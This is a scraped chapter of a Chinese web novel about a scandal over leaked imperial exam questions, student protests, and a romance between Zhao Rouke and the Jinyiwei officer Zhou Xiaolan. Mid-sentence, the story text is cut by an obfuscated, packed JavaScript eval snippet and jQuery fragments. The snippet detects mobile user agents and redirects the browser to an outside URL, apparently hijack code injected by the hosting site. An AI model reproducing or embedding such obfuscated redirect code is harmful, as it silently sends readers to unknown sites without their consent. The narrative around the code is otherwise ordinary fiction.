默认冷灰
24号文字
方正启体

33. 看花,还是看人?

作者:典墨换酒本书字数:K更新时间:
    在书院转眼间已经有俩月。自从上次周啸阑来书院找她之后,她已经很久没有见过他了。书院课业繁忙,经常是卯时起,到了子时才歇下。她也有些时日未去找卖邸报的小宝让他兜售新画本,因而对于外面最新发生的事一概不知。


    不过她倒是经常能收到翠竹带来的西街口的吃食还有三姨娘的新绣样,翠竹也会顺带着捎来周啸阑的信。信上只是询问些书院日常,会提到她走前种的几株花开得如何,丝毫不提他兄长之案的进度如何。


    秦南书春日宴那日的反常举动,应该不会只是把她当成对手,她定是见到那兰花想到了别的什么。可周啸阑似乎是不愿她再插手这案子


    她思绪沉沉,很快进入梦乡,梦中她听到有人叫她前世的名字,唤她同玉,待她看清那人的脸时,才发现时周啸阑。这一觉睡得不太安稳,待她从梦中醒转过来,漏刻显示已经过来卯时。


    她内心暗道糟了,起迟了,今日早课可是李夫子授的,想起夫子那张板起脸孔的吓人样,她都头皮发麻。


    回头看,陆心棠和李思朝暮的床上已经整整齐齐。这两人今日居然没叫她,真是怪哉。


    她穿戴整齐走出斋舍,正疑惑为何没有听到今日书院起早的学钟响声,却见一位学子慌慌张张从另一间斋舍跑出来,直奔书院门口而去。


    赵柔柯好心叫住她,“这位同窗,讲堂方向不在这边。你走错了。”


    那学子看了看她,“你还不知道吧。前些时日,锦衣卫查出吏部尚书孙谦科考泄题,内定中榜名额之事,现下好些书院学子自发休课,去到午门外跪立,请求当今圣上彻查,还天下寒门学子一个公道。”


    “不过你兄长权势滔天,这等不公平之事,定不会落在你身上。”她嘴角勾起一个讽刺的笑,“因而你才睡得这般踏实,到底是人各有命。”说完她便急匆匆走了。


    赵柔柯来到书院门口,门口不知何时已经被人看守把控,掌院两撇小胡子气得一抖一抖的,指着一个个要冲出门外的学子痛心疾首,“你们一个个的,也去凑这等热闹!真当法不责众?你看现在闹得沸沸扬扬,到时候真要追查,第一个砍头的就是你们这群没有家世背景的人!你们骨头硬能有刀硬?命没了,还要这傲骨有什么用?!”


    几个学子听到此话已经有所动摇,满脸犹疑,却看着其他人未走也不好先行离开。


    在一旁的李夫子闻言冷哼,“身为读书人,若遇不公之事冷眼旁观,沉默无言,还读什么书?”王夫子摸着自己的胡子,两位夫子一向不对付,此时,王夫子却没有反驳,点头附和,“我觉得说的甚是。”


    掌院将目光落在先开口的李夫子身上,“李夫子,今日本是你的早课,学子从讲堂跑出去也就罢了,你身为师者居然放任,着实不应该。”


    他继而又看向另一位,“还有王夫子,你…….你这……哎!”他上下嘴唇打架,支支吾吾了半晌也没说出什么话,只叹了口气,背起了手,“反正老夫就在这里,你们要出去,便从老夫身体上踏过去罢。”


    赵柔柯和一众学子被拦在书院内如常上课,下学也不允许出去。她心急如焚,担心陆心棠和李思朝出意外,饭都吃不下。她快速写了封信,让人捎去周府,自己在书院中一边继续听课,一边看着空空的座位发呆继续等待着回信。


    往日她哪怕是在书信中提了一句哪家糕点好吃,不多久便会收到还热乎的糕点,这信送出去却一点声音都没有。


    直到第三天,她收到了信。信上只有几个字,从字迹看来写得应十分仓促。


    “汝友尚安,毋念。箸食应时,毋忘。”


    赵柔柯悬着的一颗心终于落了地。


    五日后的一个清晨,陆心棠和李思朝回来了,二人如同乞儿一般,抱着赵柔柯就哭。


    “我还以为再也见不到你了。”陆心棠抽抽噎噎。“那牢房简直不是人呆的。吃也吃不饱。”


    赵柔柯一惊,“你们被抓了?怎么出来的?”这几日她一点消息都探听不到。


    “这还得多亏了你兄长。”李思朝道。


    两人你一言我一语,替赵柔柯将这几日京师的动荡大事说了一遭。


    科考泄题的消息,一时之间传遍京城各地,众寒门学子在午门外跪立,千人血书,圣上彻查,一时之间,锦衣卫频频出动,牵连出的官员达几十位,其中五品以上大员达四位,包括已死的赵清远。


    她们一开始和众学子一同请愿,后来被城防司抓到狱中关了好几天,最后是锦衣卫将他们放出来的。


    周啸阑与孙谦之间,除了这件举国震惊的要案,还有私仇。


    据说十年前周啸阑的兄长失踪,回来后无故自戕,原因便是无意之中得知孙谦泄题的消息。孙谦在狱中被活活剐死,死时只剩一副骨头。


    世上之人雪中送炭少有,落井下石倒多。吏部尚书落马,好男风的陈年风流事也在街头巷尾被议论,“走后门的”,“兔儿爷”,说什么的都有。就连早年江南除瘟疫,还有在一众反对之声中推举女子入学这些做过的好事,也要被人说一句,谁知道存的什么心思。


    两人越说越唏嘘不已,方又拉着赵柔柯的袖子抽泣一番。赵柔柯看着皱巴巴的袖子皱眉,心思却飞到了那日周啸阑突然来书院找她,他的怀抱炽热,搂她很紧,她依稀记得周啸阑沐浴后的冷杉香,想来那日,是他手刃仇人后才来见她的。


    下午讲堂课上,赵柔柯望着窗外的梨花树发呆。


    “心棠,我们逃课吧。”


    陆心棠正在临李夫子给的稿子,没抬头,“去哪?”


    “周府。”


    “马上就休沐日了。有什么事非得现在回去,当心回来一顿板子。”


    “无甚。就是……想看看我养的花怎么样了。”


    *


    宣和殿,嘉和帝看着奏报,目光沉沉。


    孙谦早前也是宋公明一手提拔,他本以为这事闹得如此之大,应该能拔出萝卜带出泥,至少可以削弱宋公明的势力。


    可看着周啸阑呈上来的奏报,科考一事牵连众多官员,可这一位两朝元老,却能独善其身,所有证据都将他撇的干干净净。


    他看着殿中垂首站立之人,身姿已然是个武将了,他突然回忆起第一次和他见面。


    “周家早年也出过名相,为何你却要做这武将?”还是个不太好听的武将。


    那时周啸阑还很年轻,他也是。


    周啸阑没有正面回他,“圣上之师为清流名臣,为何要启用锦衣卫?”


    他们彼时一个看清了朝堂局势,想要夺回权力,一个深知官场黑暗,想要报仇,因此,一拍即合。


    现下,他兄长的仇已经得报,此人还会心甘情愿臣服于他么?


    他抽开奏报,下方压了一张密信,是他的暗卫传来的。他的手指从上面摩挲着,缓缓开了口。


    “下月宫中设宴,带着你的表妹一起参加吧。”


    周啸阑听到此话心中一震,委婉推拒,


    “舍妹从小寄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793571|170764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    居乡野,粗蛮无礼,宫宴这等场合实在难上台面。”


    宣和帝笑了,“朕看哪,你是小瞧你的表妹了,能在京师画壁作画之人,岂非是等闲女子啊,朕也想见识一下。且莫要推辞了,你若再推辞,便是真的不给朕这个颜面了。”


    一番话虽说的平和无波还带着笑意,周啸阑却听出了几分威胁。


    周啸阑缓缓走下宣和殿外的的台阶,程川已经在外等候多时了。


    “大人,派出去的兄弟来报,孙谦少年时期种兰花,说爱兰花品性高洁。和他在狱中供认在周…寒声身上点刺兰花图的口供一致。云蘅拾到的那帕子,也和当年绣娘所说的一致。”


    提到周寒声,他声音有点不自然,他知道这是周啸阑的痛。接着他又抱拳,“现已真相大白,是不是……该把云蘅那边的人撤下了?”


    周啸阑点了点头,“撤下吧。”他内心还有疑团未解,只是云蘅这边监视再密也探不出什么了。


    他担忧的是另一件事。


    *


    晚风习习,吹得周啸阑袍角翻飞。他坐在凉亭之内,拿起石桌上的酒杯呷了一口酒,他一向自持,很少饮酒,那日被人拉去青楼喝酒是这么多年第一次。


    他喝的是烧刀子,酒烈,比不得那日的秋月白,半壶酒下肚,便有些许晕眩。他内心嘲笑自己,这么些年,酒量怎变得如此差,这会儿居然醉了。不然,怎么见到梦中之人了呢?


    那人身上带着淡淡的墨香,仗着在梦中,他便大了胆子,大手扣上她的腰,凑近她的唇,轻轻衔住两片柔软。


    “哐啷。”酒壶砸在地上,周啸阑自梦中惊醒。


    “对不住,是我酒醉失态了。”


    怀中之人脸颊涨得通红,杏眼圆睁瞪着他,周啸阑心一跳,替她擦去嘴边一丝晶莹,他的手微微发颤,做好了她转身离去的准备。


    赵柔柯从他怀中起身,整理了衣衫,待面色恢复才不太自然道:“听闻信中说暮色开了,我回来看看,顺便替心棠感谢狱中照顾才未受皮肉之苦,特来感谢你。”


    她又看了看地上的碎片,“可惜,我刚偷来的秋月白。”


    风徐徐吹过,将将吹得清醒了,在她这番解释中,他敏锐抓到重点,良久,才蓦地失声笑了。


    他自石凳站起身,踩过碎片,微微俯身,“哦?看花?”他往前迈了一步。


    “还是看人?”他每说一句,便要往前走一步,


    赵柔柯被压得弯腰,本来准备好的反驳之言突然就乱了。


    孙谦死的越是凄惨,就越说明他内心越是痛苦,她本来是担心他,可如今见到了他却反而被轻薄了。一想到那人刚刚的气息,她脸颊就微微发烫。


    她看向二人的影子,他身量高,月光一洒,阴影倾覆在她身上,像情人低语,她赶紧撤了一步。


    这一步刚好踩空,腰间传来一片温热,她的腰被揽住了。


    意识到是他的手,她稳住了身子,逃也似地离开。


    身后传来带着笑意的声音,


    “暮色还未打苞,花开那日,你定不会错过。”


    周啸阑在凉亭独坐,垂眼看到被打翻的酒壶,酒壶砸在地,底碎了,瓶身还有一半是好的。他拾起另一半的酒壶,竟也能凑了一整杯秋月白。


    他又想起那日在倚月楼,赵柔柯曾教他的豪放喝法,仰头将杯中酒一饮而尽。


    月光之下,一道影子在不远处闪过。


    周啸阑笑意顿消,手中的酒杯顿时化为齑粉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)